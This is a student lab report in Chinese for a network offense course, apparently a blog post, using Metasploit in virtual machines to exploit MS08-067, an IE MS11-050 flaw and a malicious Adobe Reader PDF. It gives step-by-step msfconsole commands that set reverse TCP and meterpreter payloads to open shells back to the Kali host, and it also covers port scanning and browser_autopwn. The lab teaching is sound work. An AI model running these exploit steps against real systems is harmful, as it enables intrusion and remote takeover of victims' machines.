20145216史婧瑶 《网络对抗》 MSF基础应用

实验回答问题

用自己的话解释什么是exploit,payload,encode.

  • exploit:渗透攻击模块,测试者利用它来攻击一个系统,程序,或服务,以获得开发者意料之外的结果。
  • payload:攻击载荷模块,由一些可动态运行在远程主机上的代码组成
  • encode:编码器模块,对指令重新进行编码,用以实现反检测功能、指令顺利执行等

实践过程

主动攻击(ms08_067漏洞)

MS08_067远程漏洞攻击实践:Shell

1、在VMware中设置两台虚拟机网络为NAT模式,自动分配IP地址,之后两台虚拟机就可以直接ping通。如下图:


2、在kali终端中开启msfconsole。
3、输入命令search ms08_067,会显示出找到的渗透模块,如下图所示:


4、输入命令use exploit/windows/smb/ms08_067_netapi,进入该漏洞模块的使用。
5、输入命令show payload会显示出有效的攻击载荷,如下图所示,我们找到一个shell_reverse_tcp。


6、命令show targets会显示出可以被攻击的靶机的操作系统型号,如下图所示:


7、使用命令set payload generic/shell_reverse_tcp设置攻击有效载荷。
8、输入命令show options显示我们需要在攻击前需要设置的数据。


9、输入命令

set LHOST "kali Ip" 

set RHOST "Win xp Ip"

并使用命令show options再次查看payload状态。


10、输入命令exploit开始攻击,如下图所示是正常攻击成功结果。


在kali上执行ipconfig/all得到如下图所示:


在win xp上执行同样的命令,如下图所示:

MS08_067远程漏洞攻击实践:meterpreter

1、前面依然使用命令use exploit/windows/smb/ms08_067_netapi,进入ms08_067漏洞模块。
2、设置payload:set payload windows/meterpreter/reverse_tcp
3、show options,查看需要设置的ip地址,如下图所示,是已经设置好的


4、成功攻击结果:

针对浏览器的攻击(MS11_050漏洞)

1、设置虚拟机网络为NAT模式,保证两台虚拟机可以相互间ping通。


2、在kali终端中开启msfconsole。
3、输入命令use windows/browser/ms11_050_mshtml_cobjectelement,进入该漏洞模块。
4、输入info查看信息:


5、设置对应的载荷set payload windows/meterpreter/reverse_tcp;
6、show options查看需要设置的相关信息:


7、设置相关信息

set LHOST ‘kali Ip’

set LPORT  XXXX

set URIPATH XXX


8、exploit,如下图所示,有靶机需要访问的ip地址:


9、在靶机IE上输入网址,并在靶机上查看信息。
靶机端IE:


kali中显示一个session 1已经创建:


10、输入命令sessions -i 1,开始连接


11、攻击成功,获取shell

针对客户端的攻击(Adobe阅读器)

1、两台虚拟机,其中一台为kali,一台为windows xp sp3。
2、设置虚拟机网络为NAT模式,保证两台虚拟机可以ping通。
3、kali下打开显示隐藏文件。
4、在kali终端中开启msfconsole。
5、输入命令use exploit/windows/fileformat/adobe_cooltype_sing,进入该漏洞模块的使用。
6、使用命令set payload windows/meterpreter/reverse_tcp设置攻击有效载荷。
7、输入命令show options显示我们需要在攻击前需要设置的数据,如下图:


8、输入命令

set FILENAME xxx.pdf 

set LHOST "KALI Ip"

set LPORT xxxx

并使用命令show options,看是否设置成功。


9、输入exploit,生成pdf文件,并可以看到pdf所在文件夹,将pdf复制到靶机里。

10、使用命令back退出当前模块,并使用use exploit/multi/handler新建一个监听模块。
11、使用set payload windows/meterpreter/reverse_tcp建立一个反向连接。
12、使用命令exploit开始攻击,在xp中打开pdf。


13、kali中显示成功回连。


14、输入shell,查看xp靶机信息。

应用辅助模块

TCP"XMas"端口扫描

该扫描可以用来判断端口是开放还是关闭,输入命令use auxiliary/scanner/portscan/xmas,并输入show options查看需要设置的选项。

设置靶机IP和端口号。

输入run后,弹出如下提示:

输入密码后开始扫描,结果如下:


表示80端口是开放或者被过滤(屏蔽)的

browser_autopwn模块

browser_autopwn是Metasploit提供的辅助功能模块。在用户访问Web页面时,它会自动攻击受害者的浏览器。在开始攻击之前,browser_autopwn能够检测用户使用的浏览器类型,browser_autopwn将根据浏览器的检测结果,自行部署最合适的exploit。

设置反向TCP连接将要连接的主机IP地址和URI路径:

执行exploit:

在windows7中打开浏览器访问http://172.16.47.130:8080/filetypes这个网址:

攻击成功:

实验总结与体会

这次实验我浪费了很多时间,因为电脑存储空间不足的原因,我无法安装靶机,于是临时买了一个sd卡,才勉强能完成这次实验,在等待问题解决的过程中,我看了许多同学的博客,因此避免了许多错误的产生。这次实验虽然有4个实践任务,但是我认为原理都是类似的,通过完成这次实验,我对msf的应用了解的更多更深了。

20145216史婧瑶 《网络对抗》 MSF基础应用的更多相关文章

  1. 20145216史婧瑶《网络对抗》Web安全基础实践

    20145216史婧瑶<网络对抗>Web安全基础实践 实验问题回答 (1)SQL注入攻击原理,如何防御 攻击原理: SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些 ...

  2. 20145216史婧瑶《网络对抗》Web基础

    20145216史婧瑶<网络对抗>Web基础 实验问题回答 (1)什么是表单 表单在网页中主要负责数据采集功能.一个表单有三个基本组成部分: 表单标签.表单域.表单按钮. (2)浏览器可以 ...

  3. 20145216史婧瑶《网络对抗》逆向及Bof进阶实践

    20145216史婧瑶<网络对抗>逆向及Bof进阶实践 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢 ...

  4. 20145216史婧瑶《Java程序设计》第10周学习总结

    20145216 <Java程序设计>第10周学习总结 教材学习内容总结 网络编程 一.网络概述 网络编程就是两个或多个设备(程序)之间的数据交换. 识别网络上的每个设备:①IP地址②域名 ...

  5. 20145216史婧瑶《Java程序设计》第五次实验报告

    20145216 实验五<Java网络编程> 实验内容 1.掌握Socket程序的编写 2.掌握密码技术的使用 3.设计安全传输系统 实验要求 1.基于Java Socket实现安全传输 ...

  6. 20145216史婧瑶《Java程序设计》第9周学习总结

    20145216 <Java程序设计>第9周学习总结 教材学习内容总结 第十六章 整合数据库 16.1 JDBC入门 撰写应用程序是利用通信协议对数据库进行指令交换,以进行数据的增删查找. ...

  7. 20145216史婧瑶《Java程序设计》第8周学习总结

    20145216 <Java程序设计>第8周学习总结 教材学习内容总结 第十五章 通用API 15.1 日志 java.util.logging 包提供了日志功能相关类与接口,不必额外配置 ...

  8. 20145216史婧瑶《Java程序设计》第7周学习总结

    20145216 <Java程序设计>第7周学习总结 教材学习内容总结 第十三章 时间与日期 13.1 认识时间与日期 就目前来说,即使标注为GMT(无论是文件说明,或者是API的日期时间 ...

  9. 20145216 史婧瑶《Java程序设计》第6周学习总结

    20145216 <Java程序设计>第6周学习总结 教材学习内容总结 第十章 输入/输出 10.1 InputStream与OutputStream 如果要将数据从来源中取出,可以使用输 ...

随机推荐

  1. easyui 特殊操作

    --EasyUI - datagrid中单元格里编辑控件的单击事件如何获取当前行的index var rowIndex = $(this).parents('.datagrid-row').attr( ...

  2. Oracle体系结构之OFM管理

    OMF:oracle management files 作用:不用指定文件的路径大小名字 OMF管理数据文件:db_create_file_dest 传统方式:SQL>create tables ...

  3. python数据结构之树(概述)

    树 在计算机科学中,树是分层结构的抽象模型 .本篇学习笔记记录树的内容如下: 树的基本功能:定义.术语.ADT 树的遍历方法:前序.中序.后序 树的定义 第一种:树由一组节点和一组连接节点的边组成.树 ...

  4. C++ polymorphism Virtual Function 多态 虚函数

    Polymorphism in C++ https://www.tutorialspoint.com/cplusplus/cpp_polymorphism.htm https://github.com ...

  5. MongoDB的数据恢复

    当MongoDB正在插入或更新数据时,若突然出现断电或者不可逆转的摧毁性事件发生时,MongoDB没有像oracle或sql server这种关系型数据库提供事物机制,所以会产生垃圾数据.但Mongo ...

  6. linux elasticsearch-5.1.1的安装

    (一)下载elasticsearch linux安装包 https://www.elastic.co/downloads/past-releases,然后解压,然后要有对应的java8,即必须先安装j ...

  7. java.io.File实战

    There are many things that can go wrong: A class works in Unix but doesn't on Windows (or vice versa ...

  8. XMind思维导图自定义图标/图片

  9. 如何快速获取ListView的打气筒对象

    简单的方式有三种: @Override public View getView(int position, View convertView, ViewGroup parent) { View vie ...

  10. [LeetCode] 832. Flipping an Image_Easy

    Given a binary matrix A, we want to flip the image horizontally, then invert it, and return the resu ...